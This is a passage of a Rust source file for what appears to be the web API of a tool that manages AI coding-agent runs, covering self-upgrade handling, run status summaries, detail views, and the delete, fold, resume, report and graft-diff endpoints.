3074 retry_at: Option<u64>,
3076}
3077
3078impl UpgradeRequestFailure {
3079 fn new(error: String) -> Self {
3080 let retry_after_secs = upgrade_retry_after(&error);
3081 let now = std::time::SystemTime::now()
3082 .duration_since(std::time::UNIX_EPOCH)
3083 .unwrap_or_default()
3084 .as_secs();
3085 Self {
3086 occurred_at: jiff::Timestamp::now().to_string(),
3087 error,
3088 retry_after_secs,
3089 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3090 }
3091 }
3092}
3093
3094async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3118 let reading = daemon::read_status(&ui.home);
3119 if let Some(other) = Foreign::of(reading.as_ref()) {
3120 return ApiError::conflict(format!(
3121 "the loop belongs to {}, so replacing this binary would leave \
3122 that process running an old one against the same queue. Upgrade \
3123 where it was started.",
3124 other.who()
3125 ))
3126 .into_response();
3127 }
3128
3129 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3134 return ApiError::conflict("another request is already preparing an upgrade")
3135 .into_response();
3136 };
3137 finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
3140}
3141
3142fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3143 match result {
3144 Ok(out) => {
3145 *ui.upgrade_request_error
3146 .lock()
3147 .unwrap_or_else(PoisonError::into_inner) = None;
3148 out.into_response()
3149 }
3150 Err(error) if error.status != StatusCode::CONFLICT => {
3151 let failure = UpgradeRequestFailure::new(error.message);
3152 *ui.upgrade_request_error
3153 .lock()
3154 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3155 let mut response = (error.status, Json(&failure)).into_response();
3156 if let Some(value) = failure
3157 .retry_after_secs
3158 .and_then(|secs| secs.to_string().parse().ok())
3159 {
3160 response.headers_mut().insert("retry-after", value);
3161 }
3162 response
3163 }
3164 Err(error) => error.into_response(),
3165 }
3166}
3167
3168async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3169 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3170 return Err(ApiError::conflict(
3171 "an upgrade is already in progress (this process started one and it \
3172 has not finished or failed yet)",
3173 ));
3174 }
3175 let recorded = updater::read_progress(&ui.home);
3176 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3177 return Err(ApiError::conflict(format!(
3178 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3179 stays stuck, restart the deck; on start it settles a stale record.",
3180 p.stage.as_str(),
3181 p.from,
3182 p.to.as_deref().unwrap_or("?"),
3183 )));
3184 }
3185
3186 if crate::updater::disabled_by_env() {
3192 return Ok((
3193 StatusCode::OK,
3194 Json(UpgradeView {
3195 from: env!("CARGO_PKG_VERSION").to_owned(),
3196 to: None,
3197 parked: None,
3198 detail: format!(
3199 "Automatic updates are disabled by {}. Nothing was parked \
3200 and nothing restarted.",
3201 crate::updater::NO_AUTOUPDATE_ENV
3202 ),
3203 }),
3204 ));
3205 }
3206
3207 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3212 let from = env!("CARGO_PKG_VERSION").to_owned();
3213 let latest = match crate::updater::Checker::new(&cfg.update) {
3214 Some(checker) => checker.newer_release().await,
3215 None => Ok(None),
3216 };
3217 upgrade_checked(ui, from, latest)
3218}
3219
3220fn upgrade_checked(
3221 ui: &Arc<Ui>,
3222 from: String,
3223 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3224) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3225 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3226 let Some(latest) = latest else {
3227 return Ok((
3228 StatusCode::OK,
3229 Json(UpgradeView {
3230 from,
3231 to: None,
3232 parked: None,
3233 detail: "Already on the newest release. Nothing was parked \
3234 and nothing restarted."
3235 .to_owned(),
3236 }),
3237 ));
3238 };
3239
3240 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
3243 let detail = match &parked {
3244 Some(run) => format!(
3249 "Run {} is parking at its next step, which can take as long as \
3250 the step it is on - up to an hour for an implement wave. The \
3251 deck replaces itself once it parks, comes back, and the loop \
3252 carries that run on from where it stopped. Nothing is lost if \
3253 you close this.",
3254 crate::run::short_of(run)
3255 ),
3256 None => "The deck replaces itself and comes back. Nothing was in \
3257 flight to park."
3258 .to_owned(),
3259 };
3260
3261 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3265 progress.parked_run = parked.clone();
3266 updater::write_progress_logged(&ui.home, &progress);
3270
3271 let home = ui.home.clone();
3272 let looping = ui.looping();
3273 ui.upgrade_spawned
3274 .store(true, std::sync::atomic::Ordering::SeqCst);
3275 let spawned = Arc::clone(&ui.upgrade_spawned);
3276 tokio::spawn(async move {
3277 if let Err(e) = upgrade_and_restart(home.clone()).await {
3278 tracing::error!("the upgrade did not complete: {e:#}");
3279 lock_or_recover(&looping).resume_after_handover = false;
3280 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3284 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3287 }
3288 });
3289
3290 Ok((
3291 StatusCode::ACCEPTED,
3292 Json(UpgradeView {
3293 from,
3294 to: Some(latest.tag_name),
3295 parked,
3296 detail,
3297 }),
3298 ))
3299}
3300
3301async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3306 crate::updater::run_self_update(true, false, true).await?;
3309 updater::log_step(&home, "binary replaced - recording the replaced stage");
3310 if let Some(mut progress) = updater::read_progress(&home) {
3311 progress.advance(updater::Stage::Replaced);
3312 updater::write_progress_logged(&home, &progress);
3313 }
3314 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3315 HANDOVER.notify_one();
3316 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3317 Ok(())
3318}
3319
3320#[derive(Debug, Serialize)]
3326struct RunSummary {
3327 id: String,
3328 short: String,
3329 status: String,
3330 done: bool,
3331 instruction: String,
3332 title: String,
3333 repo: String,
3334 repo_name: String,
3335 created_at: String,
3336 updated_at: String,
3337 candidates: usize,
3338 viable: usize,
3339 judges: usize,
3340 winner: Option<char>,
3341 reviews: usize,
3342 quota_losses: usize,
3343 event: Option<String>,
3344 superseded_by: Option<String>,
3349 waiting: bool,
3356 live: crate::run::Liveness,
3360 pr: Option<crate::run::PrRecord>,
3362 unmerged_by_design: bool,
3368 #[serde(default)]
3371 display_status: String,
3372 #[serde(default)]
3375 badge_status: String,
3376 origin_label: String,
3379}
3380
3381impl RunSummary {
3382 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3383 Self {
3384 id: state.id.clone(),
3385 short: state.short().to_owned(),
3386 status: status_word(state.status),
3387 done: state.status.done(),
3388 unmerged_by_design: state.unmerged_by_design(),
3389 display_status: run_display_status(state, waiting, live),
3390 badge_status: run_display_status(state, waiting, live),
3391 instruction: state.instruction.clone(),
3392 title: title_from(&state.instruction, TITLE_MAX),
3393 repo: state.repo.display().to_string(),
3394 repo_name: state
3395 .repo
3396 .file_name()
3397 .map(|n| n.to_string_lossy().into_owned())
3398 .unwrap_or_default(),
3399 created_at: state.created_at.to_string(),
3400 updated_at: state.updated_at.to_string(),
3401 candidates: state.candidates.len(),
3402 viable: state.viable().len(),
3403 judges: state.config.graph.judges,
3404 winner: state.winner().map(|c| c.label),
3405 reviews: state.reviews.len(),
3406 quota_losses: state.quota.len(),
3407 event: state.events.last().map(|e| e.message.clone()),
3408 waiting,
3409 live,
3410 superseded_by: None,
3413 pr: state.pr.clone(),
3414 origin_label: crate::run::origin_label(state.origin.as_ref()),
3415 }
3416 }
3417}
3418
3419fn status_word(status: RunStatus) -> String {
3422 status.as_str().to_owned()
3426}
3427
3428fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3434 if waiting {
3435 return "waiting".to_owned();
3436 }
3437 if state.unmerged_by_design() {
3438 return "unmerged".to_owned();
3439 }
3440 if !state.status.done() && live == crate::run::Liveness::Dead {
3441 if state.parked {
3444 return "parked".to_owned();
3445 }
3446 return "stale".to_owned();
3447 }
3448 status_word(state.status)
3449}
3450
3451fn run_badge_status(
3459 state: &RunState,
3460 display_status: &str,
3461 live: crate::run::Liveness,
3462 superseded: bool,
3463) -> String {
3464 if state.status.done() || live == crate::run::Liveness::Live {
3465 return display_status.to_owned();
3466 }
3467 if superseded {
3468 return "superseded".to_owned();
3469 }
3470 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3474 return "stale".to_owned();
3475 }
3476 display_status.to_owned()
3477}
3478
3479#[derive(Debug, Deserialize)]
3481struct ListQuery {
3482 #[serde(default)]
3483 limit: Option<usize>,
3484 ids: Option<String>,
3486}
3487
3488impl ListQuery {
3489 fn contains(&self, id: &str) -> bool {
3490 self.ids
3491 .as_ref()
3492 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3493 }
3494}
3495
3496async fn runs_list(
3497 State(ui): State<Arc<Ui>>,
3498 Query(q): Query<ListQuery>,
3499) -> ApiResult<Json<Vec<RunSummary>>> {
3500 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3501 blocking(move || {
3502 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3503 let states = run_ids(&ui.runs)
3504 .into_iter()
3505 .filter_map(|id| read_run(&ui.runs, &id).ok())
3510 .take(limit)
3511 .filter(|run| q.contains(&run.id));
3512 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3513 let summaries = summarize(
3514 states,
3515 &open_runs,
3516 &claimed,
3517 &superseded,
3518 |p| probe.borrow_mut().status(p),
3519 |p| probe.borrow_mut().started_at(p),
3520 );
3521 Ok(Json(summaries))
3522 })
3523 .await
3524}
3525
3526fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3531 let open_runs: HashSet<String> = ui
3532 .questions
3533 .list()
3534 .into_iter()
3535 .filter(|q| q.status.open())
3536 .map(|q| q.run)
3537 .collect();
3538 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3539 .into_iter()
3540 .map(|c| c.run)
3541 .collect();
3542 (open_runs, claimed, ui.queue.superseded())
3543}
3544
3545fn summarize<I, S, D>(
3551 states: I,
3552 open_runs: &HashSet<String>,
3553 claimed: &HashSet<String>,
3554 superseded: &HashMap<String, String>,
3555 mut status_q: S,
3556 mut identity_q: D,
3557) -> Vec<RunSummary>
3558where
3559 I: IntoIterator<Item = RunState>,
3560 S: FnMut(u32) -> Option<bool>,
3561 D: FnMut(u32) -> Option<String>,
3562{
3563 states
3564 .into_iter()
3565 .map(|state| {
3566 let waiting = open_runs.contains(&state.id);
3567 let live =
3568 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3569 let mut row = RunSummary::of(&state, waiting, live);
3570 row.superseded_by = state
3571 .pr_taken_over_by
3572 .as_ref()
3573 .or_else(|| superseded.get(&state.id))
3574 .map(String::as_str)
3575 .map(crate::run::short_of)
3576 .map(str::to_owned);
3577 row.badge_status = run_badge_status(
3578 &state,
3579 &row.display_status,
3580 live,
3581 row.superseded_by.is_some(),
3582 );
3583 row
3584 })
3585 .collect()
3586}
3587
3588#[derive(Debug, Serialize)]
3595struct RunDetailView {
3596 stop_reason: Option<String>,
3597 #[serde(flatten)]
3598 state: RunState,
3599 instruction_md: Vec<md::Node>,
3600 #[serde(flatten)]
3604 prose_md: RunProseMd,
3605 live: crate::run::Liveness,
3620 unmerged_by_design: bool,
3625 #[serde(default)]
3627 waiting: bool,
3628 #[serde(default)]
3630 display_status: String,
3631 #[serde(default)]
3633 badge_status: String,
3634 done: bool,
3639 superseded_by: Option<String>,
3647 latest_attempt: Option<LatestAttempt>,
3661 task: Option<TaskRef>,
3664 origin_label: String,
3668 pass_views: Vec<PassView>,
3671}
3672
3673#[derive(Debug, Serialize)]
3675struct TaskRef {
3676 id: String,
3677 short: String,
3678 title: String,
3679 source_label: String,
3681 source_link: Option<SourceLink>,
3683 status: &'static str,
3685 attempts: usize,
3686 max_attempts: usize,
3687 is_latest: bool,
3689 latest: Option<RunBrief>,
3691 finished_by: Option<RunBrief>,
3693 closed_by_hand: bool,
3695}
3696
3697#[derive(Debug, PartialEq, Eq, Serialize)]
3699struct SourceLink {
3700 kind: &'static str,
3702 id: String,
3704 href: String,
3706}
3707
3708fn encode_segment(raw: &str) -> String {
3710 let mut out = String::with_capacity(raw.len());
3711 for b in raw.bytes() {
3712 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3713 out.push(b as char);
3714 } else {
3715 out.push_str(&format!("%{b:02X}"));
3716 }
3717 }
3718 out
3719}
3720
3721fn source_link(source: &Source) -> Option<SourceLink> {
3725 let Source::Agent { run, node } = source else {
3726 return None;
3727 };
3728 let (kind, route) = if node == crate::queue::CHAT_NODE {
3729 ("chat", "chat")
3730 } else {
3731 ("run", "runs")
3732 };
3733 Some(SourceLink {
3734 kind,
3735 id: run.clone(),
3736 href: id_links::page_href(route, run),
3737 })
3738}
3739
3740#[derive(Debug, Serialize, PartialEq)]
3742struct FollowUpParent {
3743 id: String,
3744 short: String,
3745 title: String,
3746 status: &'static str,
3748 href: String,
3749}
3750
3751#[derive(Debug, Serialize, PartialEq)]
3753struct FollowUpRun {
3754 id: String,
3755 short: String,
3756 status: Option<&'static str>,
3758 href: Option<String>,
3760}
3761
3762#[derive(Debug, Serialize, PartialEq)]
3765struct FollowUpOrigin {
3766 parent: Option<FollowUpParent>,
3768 run: FollowUpRun,
3769 pr: String,
3774 findings: Vec<String>,
3775 generation: u32,
3776}
3777
3778fn followup_origin(
3781 fu: &crate::queue::FollowUp,
3782 task: impl Fn(&str) -> Option<Task>,
3783 run: impl Fn(&str) -> Option<RunState>,
3784) -> FollowUpOrigin {
3785 let parent = fu
3786 .origin_task
3787 .as_deref()
3788 .and_then(task)
3789 .map(|t| FollowUpParent {
3790 short: t.short().to_owned(),
3791 href: format!("#/tasks/{}", encode_segment(&t.id)),
3792 status: t.status.as_str(),
3793 title: t.title,
3794 id: t.id,
3795 });
3796 let state = run(&fu.run);
3797 FollowUpOrigin {
3798 parent,
3799 run: FollowUpRun {
3800 short: run::short_of(&fu.run).to_owned(),
3801 status: state.as_ref().map(|s| s.status.as_str()),
3802 href: state
3803 .is_some()
3804 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3805 id: fu.run.clone(),
3806 },
3807 pr: fu.pr.clone(),
3808 findings: fu.findings.clone(),
3809 generation: fu.generation,
3810 }
3811}
3812
3813#[derive(Debug, Serialize)]
3815struct RunBrief {
3816 id: String,
3817 short: String,
3818 status: Option<&'static str>,
3820 outcome: String,
3822 badge: Option<String>,
3824}
3825
3826fn task_outcome(
3829 task: &Task,
3830 this_run: &str,
3831 max_attempts: usize,
3832 read: impl Fn(&str) -> Option<RunState>,
3833) -> TaskRef {
3834 let max_attempts = task.effective_attempt_limit(max_attempts);
3835 let history = task_history(task, read);
3836 let brief = |h: &TaskRunView| RunBrief {
3837 id: h.id.clone(),
3838 short: h.short.clone(),
3839 status: h.status,
3840 outcome: h.exit.edge_label(h.status),
3841 badge: h.badge.clone(),
3842 };
3843 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3844 let latest = if is_latest {
3845 None
3846 } else {
3847 history.last().map(brief)
3848 };
3849 let done = task.status == TaskStatus::Done;
3850 let finished_by = done
3851 .then(|| {
3852 history
3853 .iter()
3854 .rev()
3855 .find(|h| {
3856 matches!(
3857 h.exit,
3858 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3859 )
3860 })
3861 .map(brief)
3862 })
3863 .flatten();
3864 TaskRef {
3865 short: task.short().to_owned(),
3866 title: task.title.clone(),
3867 id: task.id.clone(),
3868 source_label: task.source.label(),
3869 source_link: source_link(&task.source),
3870 status: task.status.as_str(),
3871 attempts: task.attempts,
3872 max_attempts,
3873 is_latest,
3874 latest,
3875 closed_by_hand: done && finished_by.is_none(),
3876 finished_by,
3877 }
3878}
3879
3880#[derive(Debug, Serialize)]
3882struct LatestAttempt {
3883 id: String,
3884 short: String,
3885 resolved: bool,
3896 status: RunStatus,
3899 done: bool,
3901}
3902
3903#[derive(Debug, Default, Serialize)]
3905struct RunProseMd {
3906 advice_md: Option<AdviceMd>,
3908 candidate_summaries_md: Vec<Vec<md::Node>>,
3910 reviews_md: Vec<RoundMd>,
3912}
3913
3914#[derive(Debug, Default, Serialize)]
3915struct AdviceMd {
3916 synthesis: Vec<md::Node>,
3917 approaches: Vec<Vec<md::Node>>,
3919}
3920
3921#[derive(Debug, Default, Serialize)]
3922struct RoundMd {
3923 reviewers: Vec<ReviewerMd>,
3925 reconsideration: Vec<Vec<md::Node>>,
3927 fix: Option<FixMd>,
3928}
3929
3930#[derive(Debug, Default, Serialize)]
3931struct ReviewerMd {
3932 summary: Vec<md::Node>,
3933 findings: Vec<Vec<md::Node>>,
3935}
3936
3937#[derive(Debug, Default, Serialize)]
3938struct FixMd {
3939 notes: Vec<md::Node>,
3940 rejected: Vec<Vec<md::Node>>,
3942}
3943
3944fn run_prose_md(state: &RunState) -> RunProseMd {
3946 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3947 RunProseMd {
3948 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3949 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3950 approaches: a
3951 .records
3952 .iter()
3953 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3954 .collect(),
3955 }),
3956 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3957 reviews_md: state
3958 .reviews
3959 .iter()
3960 .map(|round| RoundMd {
3961 reviewers: round
3962 .reviews
3963 .iter()
3964 .map(|rec| ReviewerMd {
3965 summary: nodes(&rec.summary),
3966 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3967 })
3968 .collect(),
3969 reconsideration: round
3970 .reconsideration
3971 .iter()
3972 .map(|rv| nodes(&rv.reason))
3973 .collect(),
3974 fix: round.fix.as_ref().map(|fix| FixMd {
3975 notes: nodes(&fix.notes),
3976 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3977 }),
3978 })
3979 .collect(),
3980 }
3981}
3982
3983impl RunDetailView {
3984 fn of(
3985 state: RunState,
3986 waiting: bool,
3987 live: crate::run::Liveness,
3988 superseded_by: Option<String>,
3989 latest_attempt: Option<LatestAttempt>,
3990 task: Option<TaskRef>,
3991 ) -> Self {
3992 let display_status = run_display_status(&state, waiting, live);
3993 let stop_reason = crate::stop_reason::of(
3994 &state,
3995 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3996 );
3997 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3998 Self {
3999 stop_reason,
4000 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4001 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4002 prose_md: run_prose_md(&state),
4003 origin_label: crate::run::origin_label(state.origin.as_ref()),
4004 live,
4005 unmerged_by_design: state.unmerged_by_design(),
4006 waiting,
4007 display_status,
4008 badge_status,
4009 done: state.status.done(),
4010 superseded_by,
4011 latest_attempt,
4012 task,
4013 state,
4014 }
4015 }
4016}
4017
4018async fn run_core(
4020 State(ui): State<Arc<Ui>>,
4021 Path(id): Path<String>,
4022) -> ApiResult<Json<RunDetailView>> {
4023 blocking(move || {
4024 let id = resolve_run(&ui.runs, &id)?;
4025 let state = read_run(&ui.runs, &id)?;
4026 Ok(Json(RunDetailView::of(
4027 state,
4028 false,
4029 crate::run::Liveness::Unknown,
4030 None,
4031 None,
4032 None,
4033 )))
4034 })
4035 .await
4036}
4037
4038async fn run_detail(
4039 State(ui): State<Arc<Ui>>,
4040 Path(id): Path<String>,
4041) -> ApiResult<Json<RunDetailView>> {
4042 blocking(move || {
4043 let id = resolve_run(&ui.runs, &id)?;
4044 let state = read_run(&ui.runs, &id)?;
4045 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4046 let live = state.liveness(daemon_claims);
4047 crate::queue::record_ids(ui.questions.root(), "json")?;
4048 let waiting = ui
4049 .questions
4050 .list()
4051 .iter()
4052 .any(|q| q.run == id && q.status.open());
4053 let max_attempts = daemon::Opts::default().max_attempts;
4054
4055 let matching_task = ui.find_task_for_run(&id)?;
4056
4057 let superseded_by = state
4058 .pr_taken_over_by
4059 .clone()
4060 .or_else(|| {
4061 matching_task
4062 .as_ref()
4063 .and_then(|t| t.successor_of(&id).cloned())
4064 })
4065 .as_deref()
4066 .map(crate::run::short_of)
4067 .map(str::to_owned);
4068
4069 let latest_attempt = matching_task
4073 .as_ref()
4074 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4075 .and_then(|head_id| {
4076 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4077 short: head.short().to_owned(),
4078 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4079 status: head.status,
4080 done: head.status.done(),
4081 id: head.id,
4082 })
4083 });
4084
4085 let task = matching_task
4086 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4087
4088 Ok(Json(RunDetailView::of(
4089 state,
4090 waiting,
4091 live,
4092 superseded_by,
4093 latest_attempt,
4094 task,
4095 )))
4096 })
4097 .await
4098}
4099
4100async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4109 let (id, unreadable) = {
4110 let ui = Arc::clone(&ui);
4111 blocking(move || {
4112 let id = resolve_run(&ui.runs, &id)?;
4113 match read_run(&ui.runs, &id) {
4114 Ok(state) => {
4115 let in_flight =
4116 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4117 state
4118 .ensure_can_delete(in_flight)
4119 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4120 let dir = ui.runs.join(&id);
4121 std::fs::remove_dir_all(&dir)
4122 .with_context(|| format!("remove run directory {}", dir.display()))?;
4123 Ok((id, false))
4124 }
4125 Err(_) => {
4126 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4130 return Err(ApiError::conflict(format!(
4131 "run {id} is being worked on by a live daemon right now"
4132 )));
4133 }
4134 Ok((id, true))
4135 }
4136 }
4137 })
4138 .await?
4139 };
4140 if unreadable {
4141 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4142 .await
4143 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4144 }
4145 let ui = Arc::clone(&ui);
4146 let done = id.clone();
4147 blocking(move || {
4148 ui.questions.abandon_for_run(
4151 &done,
4152 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4153 )?;
4154 Ok(())
4155 })
4156 .await?;
4157 Ok(StatusCode::NO_CONTENT)
4158}
4159
4160async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4184 let (id, state) = {
4185 let ui = Arc::clone(&ui);
4186 blocking(move || {
4187 let id = resolve_run(&ui.runs, &id)?;
4188 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4189 return Err(ApiError::conflict(format!(
4190 "run {id} is being worked on by a live daemon right now"
4191 )));
4192 }
4193 let state = read_run(&ui.runs, &id).ok();
4194 Ok((id, state))
4195 })
4196 .await?
4197 };
4198 let removed = match state {
4199 Some(mut state) => {
4200 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4201 .await
4202 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4203 if removed.is_empty() {
4208 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4209 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4210 }
4211 removed
4212 }
4213 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4214 .await
4215 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4216 };
4217 Ok(Json(FoldView {
4218 run: id,
4219 removed_count: removed.len(),
4220 removed,
4221 }))
4222}
4223
4224#[derive(Debug, Serialize)]
4226struct FoldView {
4227 run: String,
4228 removed: Vec<String>,
4230 removed_count: usize,
4231}
4232
4233#[derive(Debug, Deserialize)]
4236struct FoldMergedBody {
4237 #[serde(default)]
4238 pr_url: String,
4239}
4240
4241async fn run_fold_merged(
4261 State(ui): State<Arc<Ui>>,
4262 Path(id): Path<String>,
4263 Json(body): Json<FoldMergedBody>,
4264) -> ApiResult<Json<FoldMergedView>> {
4265 let pr_url = body.pr_url.trim().to_owned();
4266 if pr_url.is_empty() {
4267 return Err(ApiError::bad_request("pr_url is required"));
4268 }
4269 let (id, mut state) = {
4270 let ui = Arc::clone(&ui);
4271 blocking(move || {
4272 let id = resolve_run(&ui.runs, &id)?;
4273 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4274 return Err(ApiError::conflict(format!(
4275 "run {id} is being worked on by a live daemon right now"
4276 )));
4277 }
4278 let state = read_run(&ui.runs, &id)?;
4279 Ok((id, state))
4280 })
4281 .await?
4282 };
4283 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4284 .await
4285 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4286 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4287 .await
4288 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4289 Ok(Json(FoldMergedView {
4290 run: id,
4291 before: before.as_str().to_owned(),
4292 after: after.as_str().to_owned(),
4293 removed,
4294 }))
4295}
4296
4297#[derive(Debug, Serialize)]
4299struct FoldMergedView {
4300 run: String,
4301 before: String,
4303 after: String,
4305 removed: Vec<String>,
4307}
4308
4309async fn run_resume(
4329 State(ui): State<Arc<Ui>>,
4330 Path(id): Path<String>,
4331) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4332 let (id, state) = {
4333 let ui = Arc::clone(&ui);
4334 blocking(move || {
4335 let id = resolve_run(&ui.runs, &id)?;
4336 let state = read_run(&ui.runs, &id)?;
4337 Ok((id, state))
4338 })
4339 .await?
4340 };
4341 crate::resume::validate_unqueued(&ui.home, &id)
4342 .map_err(|e| ApiError::conflict(e.to_string()))?;
4343 let _resume = ui.begin_resume(&id)?;
4344
4345 let queued = RunSummary::of(
4348 &state,
4349 !ui.questions.open_for(&id).is_empty(),
4350 state.liveness(false),
4351 );
4352 let run = id.clone();
4353 tokio::spawn(async move {
4354 let _resume = _resume;
4355 crate::resume::execute(&run).await;
4356 });
4357 Ok((StatusCode::ACCEPTED, Json(queued)))
4358}
4359
4360async fn run_report(
4361 State(ui): State<Arc<Ui>>,
4362 Path(id): Path<String>,
4363) -> ApiResult<impl IntoResponse> {
4364 let text = blocking(move || {
4365 let id = resolve_run(&ui.runs, &id)?;
4366 let state = read_run(&ui.runs, &id)?;
4370 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4371 let live = state.liveness(daemon_claims);
4372 Ok(format!(
4373 "{}{}",
4374 report::run(&state),
4375 report::active_seats(&state, live)
4376 ))
4377 })
4378 .await?;
4379 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4380}
4381
4382async fn run_report_json(
4386 State(ui): State<Arc<Ui>>,
4387 Path(id): Path<String>,
4388) -> ApiResult<Json<crate::report_view::RunReportView>> {
4389 let view = blocking(move || {
4390 let id = resolve_run(&ui.runs, &id)?;
4391 let state = read_run(&ui.runs, &id)?;
4392 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4393 let recovered = state.graft.as_ref().map(|_| {
4395 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4396 });
4397 Ok(crate::report_view::build_with(
4398 &state,
4399 state.liveness(daemon_claims),
4400 recovered.as_ref(),
4401 ))
4402 })
4403 .await?;
4404 Ok(Json(view))
4405}
4406
4407const GRAFT_DIFF_MAX: usize = 400 * 1024;
4409const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4411
4412async fn run_graft_diff(
4415 State(ui): State<Arc<Ui>>,
4416 Path(id): Path<String>,
4417) -> ApiResult<impl IntoResponse> {
4418 let (repo, pre, post) = blocking(move || {
4419 let id = resolve_run(&ui.runs, &id)?;
4420 let state = read_run(&ui.runs, &id)?;
4421 let g = state
4422 .graft
4423 .as_ref()
4424 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4425 let post = g
4426 .post
4427 .clone()
4428 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4429 Ok((state.repo.clone(), g.pre.clone(), post))
4430 })
4431 .await?;
4432 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4433 if !hex(&pre) || !hex(&post) {
4434 return Err(ApiError::not_found("the recorded commits are not valid"));
4435 }
4436 let out = tokio::time::timeout(
4437 GRAFT_DIFF_TIMEOUT,
4438 crate::git::git_raw(
4439 &repo,
4440 &[
4441 "diff",
4442 "--no-color",
4443 "--no-ext-diff",
4444 "-M",
4445 &pre,
4446 &post,
4447 "--",
4448 ],
4449 ),
4450 )
4451 .await
4452 .map_err(|_| ApiError::not_found("git diff timed out"))?
4453 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4454 if out.code != Some(0) {
4455 return Err(ApiError::not_found(
4456 "the recorded commits are no longer in the repository",
4457 ));
4458 }
4459 let mut body = out.stdout;
4460 if body.len() > GRAFT_DIFF_MAX {
4461 let mut cut = GRAFT_DIFF_MAX;
4462 while !body.is_char_boundary(cut) {
4463 cut -= 1;
4464 }
4465 body.truncate(cut);
